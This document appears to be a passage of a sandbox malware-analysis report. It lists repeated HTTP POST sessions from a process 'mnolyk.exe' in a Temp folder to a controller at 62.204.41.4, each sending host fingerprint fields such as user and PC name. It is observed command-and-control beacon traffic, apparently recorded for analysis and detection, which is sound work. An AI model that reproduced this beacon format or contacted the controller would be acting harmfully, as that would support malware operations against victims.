Feb 6, 2023 14:18:48.518585920 CET	647	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:48.596528053 CET	648	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.5	50138	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:48.816931963 CET	648	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:48.882236004 CET	649	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.5	50139	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:49.109385967 CET	649	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:49.174504995 CET	650	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49735	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:51.844624043 CET	246	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:51.910830021 CET	246	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.5	50140	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:49.757097960 CET	650	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:49.820137978 CET	651	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.5	50141	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:50.069927931 CET	651	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:50.136013031 CET	652	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.5	50142	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:50.911528111 CET	652	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:50.975814104 CET	653	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.5	50143	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:51.490211964 CET	653	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:51.556133986 CET	654	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.5	50144	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:51.746608973 CET	654	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:51.812130928 CET	655	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.5	50145	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:51.997575045 CET	655	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:52.062042952 CET	656	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.5	50146	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:52.228127956 CET	656	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:52.292440891 CET	657	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.5	50147	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:52.469913960 CET	657	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:52.534677982 CET	658	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.5	50148	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:52.713607073 CET	658	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:52.778877020 CET	659	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.2.5	50149	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:52.948054075 CET	659	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:53.012109041 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49736	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:52.079669952 CET	247	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:52.146827936 CET	247	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.5	50150	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:53.180274963 CET	660	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:53.244153023 CET	661	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.5	50151	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:53.414299965 CET	661	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:53.476975918 CET	662	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.2.5	50152	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:53.649178982 CET	662	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:53.712241888 CET	663	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.5	50153	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:53.883683920 CET	663	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:53.947201014 CET	664	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.2.5	50154	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:54.119780064 CET	664	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:54.184797049 CET	665	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.2.5	50155	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:54.353665113 CET	665	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:54.416800022 CET	666	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.5	50156	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:54.587905884 CET	666	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:54.652446032 CET	667	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
